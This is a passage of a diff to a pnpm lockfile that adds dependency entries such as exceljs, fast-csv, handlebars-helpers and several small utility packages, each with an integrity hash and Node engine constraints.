sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==} engines: {node: '>= 0.6'} + ethiopian-calendar-date-converter@2.1.6: + resolution: {integrity: sha512-qqOPkFQlMfLXF4gP70+2z6DrJNvKKcj+VIC37e72A5qs/LXCYQVt8egahDUfGkI0s92FyV7lfSUtGrX4rdM+3w==} + + ethiopian-date@0.0.6: + resolution: {integrity: sha512-O+8hYimosZVn85MWcHtq9HQLR2HdELZPbv1zk3Xc6nm1cYvBl3V1fezrcMkqWKt8tin9dr3/vk0JkQAEWQZzXA==} + eventemitter2@6.4.9: resolution: {integrity: sha512-JEPTiaOt9f04oa6NOkc4aH+nVp5I3wEjpHbIPqfgCdD5v5bUzy7xQqwcVO2aDQgOWhI28da57HksMrzK9HlRxg==} @@ -2818,6 +3293,10 @@ packages: resolution: {integrity: sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==} engines: {node: '>=0.8.x'} + exceljs@4.4.0: + resolution: {integrity: sha512-XctvKaEMaj1Ii9oDOqbW/6e1gXknSY4g/aLCDicOXqBE4M0nRWkUu0PTp++UPNzoFY12BNHMfs/VadKIS6llvg==} + engines: {node: '>=8.3.0'} + execa@5.1.1: resolution: {integrity: sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==} engines: {node: '>=10'} @@ -2830,6 +3309,10 @@ packages: resolution: {integrity: sha512-Zk/eNKV2zbjpKzrsQ+n1G6poVbErQxJ0LBOJXaKZ1EViLzH+hrLu9cdXI4zw9dBQJslwBEpbQ2P1oS7nDxs6jQ==} engines: {node: '>= 0.8.0'} + expand-brackets@2.1.4: + resolution: {integrity: sha512-w/ozOKR9Obk3qoWeY/WDi6MFta9AoMR+zud60mdnbniMcBxRuFJyDt2LdX/14A1UABeqk+Uk+LDfUpvoGKppZA==} + engines: {node: '>=0.10.0'} + expect@29.7.0: resolution: {integrity: sha512-2Zks0hf1VLFYI1kbh0I5jP3KHHyCHpkfyHBzsSXRFgl/Bg9mWYfMW8oD+PdMPlEwy5HNsR9JutYy6pMeOh61nw==} engines: {node: ^14.15.0 || ^16.10.0 || >=18.0.0} @@ -2841,10 +3324,30 @@ packages: exsolve@1.0.8: resolution: {integrity: sha512-LmDxfWXwcTArk8fUEnOfSZpHOJ6zOMUJKOtFLFqJLoKJetuQG874Uc7/Kki7zFLzYybmZhp1M7+98pfMqeX8yA==} + extend-shallow@2.0.1: + resolution: {integrity: sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==} + engines: {node: '>=0.10.0'} + + extend-shallow@3.0.2: + resolution: {integrity: sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==} + engines: {node: '>=0.10.0'} + + extglob@2.0.4: + resolution: {integrity: sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==} + engines: {node: '>=0.10.0'} + + falsey@0.3.2: + resolution: {integrity: sha512-lxEuefF5MBIVDmE6XeqCdM4BWk1+vYmGZtkbKZ/VFcg6uBBw6fXNEbWmxCjDdQlFc9hy450nkiWwM3VAW6G1qg==} + engines: {node: '>=0.10.0'} + fast-check@3.23.2: resolution: {integrity: sha512-h5+1OzzfCC3Ef7VbtKdcv7zsstUQwUDlYpUTvjeUsJAssPgLn7QzbboPtL5ro04Mq0rPOsMzl7q5hIbRs2wD1A==} engines: {node: '>=8.0.0'} + fast-csv@4.3.6: + resolution: {integrity: sha512-2RNSpuwwsJGP0frGsOmTb9oUF+VkFSM4SyLTDgwf2ciHWTarN0lQTC+F2f/t5J9QjW+c65VFIAAu85GsvMIusw==} + engines: {node: '>=10.0.0'} + fast-deep-equal@3.1.3: resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} @@ -2868,6 +3371,10 @@ packages: fast-uri@3.1.2: resolution: {integrity: sha512-rVjf7ArG3LTk+FS6Yw81V1DLuZl1bRbNrev6Tmd/9RaroeeRRJhAt7jg/6YFxbvAQXUCavSoZhPPj6oOx+5KjQ==} + fast-xml-parser@4.5.6: + resolution: {integrity: sha512-Yd4vkROfJf8AuJrDIVMVmYfULKmIJszVsMv7Vo71aocsKgFxpdlpSHXSaInvyYfgw2PRuObQSW2GFpVMUjxu9A==} + hasBin: true + fastq@1.20.1: resolution: {integrity: sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==} @@ -2891,10 +3398,18 @@ packages: resolution: {integrity: sha512-Ievi/yy8DS3ygGvT47PjSfdFoX+2isQueoYP1cntFW1JLYAuS4GD7NUPGg4zv2iZfV52uDyk5w5Z0TdpRS6Q1g==} engines: {node: '>=20'} + fill-range@4.0.0: + resolution: {integrity: sha512-VcpLTWqWDiTerugjj8e3+esbg+skS3M9e54UuR3iCeIDMXCLTsAH8hTSzDQU/X6/6t3eYkOKoZSef2PlU6U1XQ==} + engines: {node: '>=0.10.0'} + fill-range@7.1.1: resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==} engines: {node: '>=8'} + filter-obj@1.1.0: + resolution: {integrity: sha512-8rXg1ZnX7xzy2NGDVkBVaAy+lSlPNwad13BtgSlLuxfIslyt5Vg64U7tFcCt4WS1R0hvtnQybT/IyCkGZ3DpXQ==} + engines: {node: '>=0.10.0'} + finalhandler@2.1.1: resolution: {integrity: sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA==} engines: {node: '>= 18.0.0'} @@ -2915,6 +3430,10 @@ packages: resolution: {integrity: sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==} engines: {node: ^10.12.0 || >=12.0.0} + flat@5.0.2: + resolution: {integrity: sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==} + hasBin: true + flatted@3.4.2: resolution: {integrity: sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==} @@ -2931,6 +3450,14 @@ packages: resolution: {integrity: sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==} engines: {node: '>= 0.4'} + for-in@1.0.2: + resolution: {integrity: sha512-7EwmXrOjyL+ChxMhmG5lnW9MPt1aIeZEwKhQzoBUdTV0N3zuwWDZYVJatDvZ2OyzPUvdIAZDsCetk3coyMfcnQ==} + engines: {node: '>=0.10.0'} + + for-own@1.0.0: + resolution: {integrity: sha512-0OABksIGrxKK8K4kynWkQ7y1zounQxP+CWnyclVwj81KW3vlLlGUx57DKGcP/LH216GzqnstnPocF16Nxs0Ycg==} + engines: {node: '>=0.10.0'} + foreground-child@3.3.1: resolution: {integrity: sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==} engines: {node: '>=14'} @@ -2954,13 +3481,28 @@ packages: resolution: {integrity: sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==} engines: {node: '>= 0.6'} + frac@1.1.2: + resolution: {integrity: sha512-w/XBfkibaTl3YDqASwfDUqkna4Z2p9cFSr1aHDt0WoMTECnRfBOv2WArlZILlqgWlmdIlALXGpM2AOhEk5W3IA==} + engines: {node: '>=0.8'} + fraction.js@5.3.4: resolution: {integrity: sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==} + fragment-cache@0.2.1: + resolution: {integrity: sha512-GMBAbW9antB8iZRHLoGw0b3HANt57diZYFO/HL1JGIC1MjKrdmhxvrJbupnVvpys0zsz7yBApXdQyfepKly2kA==} + engines: {node: '>=0.10.0'} + fresh@2.0.0: resolution: {integrity: sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==} engines: {node: '>= 0.8'} + fs-constants@1.0.0: + resolution: {integrity: sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==} + + fs-exists-sync@0.1.0: + resolution: {integrity: sha512-cR/vflFyPZtrN6b38ZyWxpWdhlXrzZEBawlpBQMq7033xVY7/kg0GDMBK5jg8lDYQckdJ5x/YC88lM3C7VMsLg==} + engines: {node: '>=0.10.0'} + fs-extra@10.1.0: resolution: {integrity: sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==} engines: {node: '>=12'} @@ -2980,6 +3522,11 @@ packages: engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} os: [darwin] + fstream@1.0.12: + resolution: {integrity: sha512-WvJ193OHa0GHPEL+AycEJgxvBEwyfRkN1vhjca23OaPVMCaLCXTd5qAu82AjTcgP1UJmytkOKb63Ypde7raDIg==} + engines: {node: '>=0.6'} + deprecated: This package is no longer supported. + function-bind@1.1.2: resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==} @@ -3015,6 +3562,10 @@ packages: resolution: {integrity: sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==} engines: {node: '>= 0.4'} + get-object@0.2.0: + resolution: {integrity: sha512-7P6y6k6EzEFmO/XyUyFlXm1YLJy9xeA1x/grNV8276abX5GuwUtYgKFkRFkLixw4hf4Pz9q2vgv/8Ar42R0HuQ==} + engines: {node: '>=0.10.0'} + get-package-type@0.1.0: resolution: {integrity: sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==} engines: {node: '>=8.0.0'} @@ -3038,6 +3589,10 @@ packages: get-tsconfig@4.14.0: resolution: {integrity: sha512-yTb+8DXzDREzgvYmh6s9vHsSVCHeC0G3PI5bEXNBHtmshPnO+S5O7qgLEOn0I5QvMy6kpZN8K1NKGyilLb93wA==} + get-value@2.0.6: + resolution: {integrity: sha512-Ln0UQDlxH1BapMu3GPtf7CuYNwRZf2gwCuPqbyG6pB8WfmFpzqcy4xtAaAMUhnNqjMKTiCPZG2oMT3YSx8U2NA==} + engines: {node: '>=0.10.0'} + giget@2.0.0: resolution: {integrity: sha512-L5bGsVkxJbJgdnwyuheIunkGatUF/zssUoxxjACCseZYAVbaqdh9Tsmmlkl8vYan09H7sbvKt4pS8GqKLBrEzA==} hasBin: true @@ -3100,6 +3655,22 @@ packages: graphemer@1.4.0: resolution: {integrity: sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==} + gulp-header@1.8.12: + resolution: {integrity: sha512-lh9HLdb53sC7XIZOYzTXM4lFuXElv3EVkSDhsd7DoJBj7hm+Ni7D3qYbb+Rr8DuM8nRanBvkVO9d7askreXGnQ==} + deprecated: Removed event-stream from gulp-header + + handlebars-helper-create-frame@0.1.0: + resolution: {integrity: sha512-yR99Rh8JYcWSsARw/unaOUUICqG0M+SV3U4vBl3Psn78r0qXjU+cT9+IGXglNuuI3RfahvFDyEQ0l1KWthavRQ==} + engines: {node: '>=4'} + + handlebars-helpers@0.10.0: + resolution: {integrity: sha512-QiyhQz58u/DbuV41VnfpE0nhy6YCH4vB514ajysV8SoKmP+DxU+pR+fahVyNECHj+jiwEN2VrvxD/34/yHaLUg==} + engines: {node: '>=0.12.0'} + + handlebars-utils@1.0.6: + resolution: {integrity: sha512-d5mmoQXdeEqSKMtQQZ9WkiUcO1E3tPbWxluCK9hVgIDPzQa9WsKo3Lbe/sGflTe7TomHEeZaOgwIkyIr1kfzkw==} + engines: {node: '>=0.10.0'} + handlebars@4.7.9: resolution: {integrity: sha512-4E71E0rpOaQuJR2A3xDZ+GM1HyWYv1clR58tC8emQNeQe3RH7MAzSbat+V0wG78LQBo6m6bzSG/L4pBuCsgnUQ==} engines: {node: '>=0.4.7'} @@ -3131,13 +3702,49 @@ packages: has-unicode@2.0.1: resolution: {integrity: sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==} + has-value@0.3.1: + resolution: {integrity: sha512-gpG936j8/MzaeID5Yif+577c17TxaDmhuyVgSwtnL/q8UUTySg8Mecb+8Cf1otgLoD7DDH75axp86ER7LFsf3Q==} + engines: {node: '>=0.10.0'} + + has-value@1.0.0: + resolution: {integrity: sha512-IBXk4GTsLYdQ7Rvt+GRBrFSVEkmuOUy4re0Xjd9kJSUQpnTrWR4/y9RpfexN9vkAPMFuQoeWKwqzPozRTlasGw==} + engines: {node: '>=0.10.0'} + + has-values@0.1.4: + resolution: {integrity: sha512-J8S0cEdWuQbqD9//tlZxiMuMNmxB8PlEwvYwuxsTmR1G5RXUePEX/SJn7aD0GMLieuZYSwNH0cQuJGwnYunXRQ==} + engines: {node: '>=0.10.0'} + + has-values@1.0.0: + resolution: {integrity: sha512-ODYZC64uqzmtfGMEAX/FvZiRyWLpAC3vYnNunURUnkGVTS+mI0smVsWaPydRBsE3g+ok7h960jChO8mFcWlHaQ==} + engines: {node: '>=0.10.0'} + hasown@2.0.3: resolution: {integrity: sha512-ej4AhfhfL2Q2zpMmLo7U1Uv9+PyhIZpgQLGT1F9miIGmiCJIoCgSmczFdrc97mWT4kVY72KA+WnnhJ5pghSvSg==} engines: {node: '>= 0.4'} + helper-date@1.0.1: + resolution: {integrity: sha512-wU3VOwwTJvGr/w5rZr3cprPHO+hIhlblTJHD6aFBrKLuNbf4lAmkawd2iK3c6NbJEvY7HAmDpqjOFSI5/+Ey2w==} + engines: {node: '>=4.0'} + + helper-markdown@1.0.0: + resolution: {integrity: sha512-AnDqMS4ejkQK0MXze7pA9TM3pu01ZY+XXsES6gEE0RmCGk5/NIfvTn0NmItfyDOjRAzyo9z6X7YHbHX4PzIvOA==} + engines: {node: '>=0.10.0'} + + helper-md@0.2.2: + resolution: {integrity: sha512-49TaQzK+Ic7ZVTq4i1UZxRUJEmAilTk8hz7q4I0WNUaTclLR8ArJV5B3A1fe1xF2HtsDTr2gYKLaVTof/Lt84Q==} + engines: {node: '>=0.10.0'} + + highlight.js@9.18.5: + resolution: {integrity: sha512-a5bFyofd/BHCX52/8i8uJkjr9DYwXIPnM/plwI6W7ezItLGqzt7X2G2nXuYSfsIJdkwwj/g9DG1LkcGJI/dDoA==} + deprecated: Support has ended for 9.x series. Upgrade to @latest + html-escaper@2.0.2: resolution: {integrity: sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==} + html-tag@2.0.0: + resolution: {integrity: sha512-XxzooSo6oBoxBEUazgjdXj7VwTn/iSTSZzTYKzYY6I916tkaYzypHxy+pbVU1h+0UQ9JlVf5XkNQyxOAiiQO1g==} + engines: {node: '>=0.10.0'} + http-errors@2.0.1: resolution: {integrity: sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==} engines: {node: '>= 0.8'} @@ -3174,6 +3781,9 @@ packages: resolution: {integrity: sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==} engines: {node: '>= 4'} + immediate@3.0.6: + resolution: {integrity: sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==} + import-fresh@3.3.1: resolution: {integrity: sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==} engines: {node: '>=6'} @@ -3194,6 +3804,10 @@ packages: resolution: {integrity: sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==} deprecated: This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful. + info-symbol@0.1.0: + resolution: {integrity: sha512-qkc9wjLDQ+dYYZnY5uJXGNNHyZ0UOMDUnhvy0SEZGVVYmQ5s4i8cPAin2MbU6OxJgi8dfj/AnwqPx0CJE6+Lsw==} + engines: {node: '>=0.10.0'} + inherits@2.0.4: resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==} @@ -3213,6 +3827,18 @@ packages: resolution: {integrity: sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==} engines: {node: '>= 0.10'} + ipaddr.js@2.4.0: + resolution: {integrity: sha512-9VGk3HGanVE6JoZXHiCpnGy5X0jYDnN4EA4lntFPj+1vIWlFhIylq2CrrCOJH9EAhc5CYhq18F2Av2tgoAPsYQ==} + engines: {node: '>= 10'} + + is-accessor-descriptor@1.0.2: + resolution: {integrity: sha512-AIbwAcazqP3R65dGvqk1V+a+vE5Fg1yu/ZKMOiBWSUIXXiwQkYmXQcVa2O0nh0tSDKDFKxG2mY7dB1Sr4hEP1g==} + engines: {node: '>= 0.4'} + + is-arguments@1.2.0: + resolution: {integrity: sha512-7bVbi0huj/wrIAOzb8U1aszg9kdi3KN/CyU19CTI7tAoZYEZoL9yCDXpbXN+uPsuWnP02cyug1gleqq+TU+YCA==} + engines: {node: '>= 0.4'} + is-array-buffer@3.0.5: resolution: {integrity: sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==} engines: {node: '>= 0.4'} @@ -3236,6 +3862,9 @@ packages: resolution: {integrity: sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==} engines: {node: '>= 0.4'} + is-buffer@1.1.6: + resolution: {integrity: sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==} + is-bun-module@2.0.0: resolution: {integrity: sha512-gNCGbnnnnFAUGKeZ9PdbyeGYJqewpmc2aKHUEMO5nQPWU9lOmv7jcmQIv+qHD8fXW6W7qfuCwX4rY9LNRjXrkQ==} @@ -3247,6 +3876,10 @@ packages: resolution: {integrity: sha512-evOr8xfXKxE6qSR0hSXL2r3sd7ALj8+7jQEUvPYcm5sgZFdJ+AYzT6yNmJenvIYQBgIGwfwz08sL8zoL7yq2BA==} engines: {node: '>= 0.4'} + is-data-descriptor@1.0.1: + resolution: {integrity: sha512-bc4NlCDiCr28U4aEsQ3Qs2491gVq4V8G7MQyws968ImqjKuYtTJXrl7Vq7jsN7Ly/C3xj5KWFrY7sHNeDkAzXw==} + engines: {node: '>= 0.4'} + is-data-view@1.0.2: resolution: {integrity: sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==} engines: {node: '>= 0.4'} @@ -3255,6 +3888,26 @@ packages: resolution: {integrity: sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==} engines: {node: '>= 0.4'} + is-descriptor@0.1.8: + resolution: {integrity: sha512-SceYGWXvdqlWa/OnQ5FQuV+NxvNmMRhMw/w9AHkH71hTzveND4BTYgvp16g+oITK47qbOl/3D0bl0iygehWAWQ==} + engines: {node: '>= 0.4'} + + is-descriptor@1.0.4: + resolution: {integrity: sha512-bv5z95W0dDtLfKwDfkTNxaRxmISBD3eQBKJeVxv2AQ7MjuUnDNG7cIQqvFtMOUYhsILWHhMayWdoGqNqYYYjww==} + engines: {node: '>= 0.4'} + + is-even@1.0.0: + resolution: {integrity: sha512-LEhnkAdJqic4Dbqn58A0y52IXoHWlsueqQkKfMfdEnIYG8A1sm/GHidKkS6yvXlMoRrkM34csHnXQtOqcb+Jzg==} + engines: {node: '>=0.10.0'} + + is-extendable@0.1.1: + resolution: {integrity: sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==} + engines: {node: '>=0.10.0'} + + is-extendable@1.0.1: + resolution: {integrity: sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==} + engines: {node: '>=0.10.0'} + is-extglob@2.1.1: resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} engines: {node: '>=0.10.0'} @@ -3303,6 +3956,18 @@ packages: resolution: {integrity: sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==} engines: {node: '>= 0.4'} + is-number@2.1.0: + resolution: {integrity: sha512-QUzH43Gfb9+5yckcrSA0VBDwEtDUchrk4F6tfJZQuNzDJbEDB9cZNzSfXGQ1jqmdDY/kl41lUOWM9syA8z8jlg==} + engines: {node: '>=0.10.0'} + + is-number@3.0.0: + resolution: {integrity: sha512-4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==} + engines: {node: '>=0.10.0'} + + is-number@4.0.0: + resolution: {integrity: sha512-rSklcAIlf1OmFdyAqbnWTLVelsQ58uvZ66S/ZyawjWqIviTWCjg2PzVGw8WUA+nNuPTqb4wgA+NszrJ+08LlgQ==} + engines: {node: '>=0.10.0'} + is-number@7.0.0: resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} engines: {node: '>=0.12.0'} @@ -3311,10 +3976,18 @@ packages: resolution: {integrity: sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==} engines: {node: '>=8'} + is-odd@0.1.2: + resolution: {integrity: sha512-Ri7C2K7o5IrUU9UEI8losXJCCD/UtsaIrkR5sxIcFg4xQ9cRJXlWA5DQvTE0yDc0krvSNLsRGXN11UPS6KyfBw==} + engines: {node: '>=0.10.0'} + is-path-inside@3.0.3: resolution: {integrity: sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==} engines: {node: '>=8'} + is-plain-object@2.0.4: + resolution: {integrity: sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==} + engines: {node: '>=0.10.0'} + is-promise@4.0.0: resolution: {integrity: sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==} @@ -3322,6 +3995,10 @@ packages: resolution: {integrity: sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==} engines: {node: '>= 0.4'} + is-self-closing@1.0.1: + resolution: {integrity: sha512-E+60FomW7Blv5GXTlYee2KDrnG6srxF7Xt1SjrhWUGUEsTFIqY/nq2y3DaftCsgUMdh89V07IVfhY9KIJhLezg==} + engines: {node: '>=0.12.0'} + is-set@2.0.3: resolution: {integrity: sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==} engines: {node: '>= 0.4'} @@ -3370,12 +4047,31 @@ packages: resolution: {integrity: sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==} engines: {node: '>= 0.4'} + is-windows@1.0.2: + resolution: {integrity: sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==} + engines: {node: '>=0.10.0'} + + isarray@1.0.0: + resolution: {integrity: sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==} + isarray@2.0.5: resolution: {integrity: sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==} isexe@2.0.0: resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} + isobject@0.2.0: + resolution: {integrity: sha512-VaWq6XYAsbvM0wf4dyBO7WH9D7GosB7ZZlqrawI9BBiTMINBeCyqSKBa35m870MY3O4aM31pYyZi9DfGrYMJrQ==} + engines: {node: '>=0.10.0'} + + isobject@2.1.0: + resolution: {integrity: sha512-+OUdGJlgjOBZDfxnDjYYG6zp487z0JGNQq3cYQYg5f5hKR+syHMsaztzGeml/4kGG55CSpKSpWTY+jYGgsHLgA==} + engines: {node: '>=0.10.0'} + + isobject@3.0.1: + resolution: {integrity: sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==} + engines: {node: '>=0.10.0'} + istanbul-lib-coverage@3.2.2: resolution: {integrity: sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==} engines: {node: '>=8'} @@ -3560,6 +4256,10 @@ packages: resolution: {integrity: sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ==} hasBin: true + jmespath@0.16.0: + resolution: {integrity: sha512-9FzQjJ7MATs1tSpnco1K6ayiYE3figslrXA72G2HQ/n76RzvYlofyi5QM+iX4YRs/pu3yzxlVQSST23+dMDknw==} + engines: {node: '>= 0.6.0'} + jose@5.10.0: resolution: {integrity: sha512-s+3Al/p9g32Iq+oqXxkW//7jk2Vig6FF1CFqzVXoTUXt2qz89YWbL+OwS17NFYEvxC35n0FKeGO2LGYSxeM2Gg==} @@ -3598,6 +4298,9 @@ packages: json-stable-stringify-without-jsonify@1.0.1: resolution: {integrity: sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==} + json-stream@1.0.0: + resolution: {integrity: sha512-H/ZGY0nIAg3QcOwE1QN/rK/Fa7gJn7Ii5obwp6zyPO4xiPNwpIMjqy2gwjBEGqzkF/vSWEIBQCBuN19hYiL6Qg==} + json5@1.0.2: resolution: {integrity: 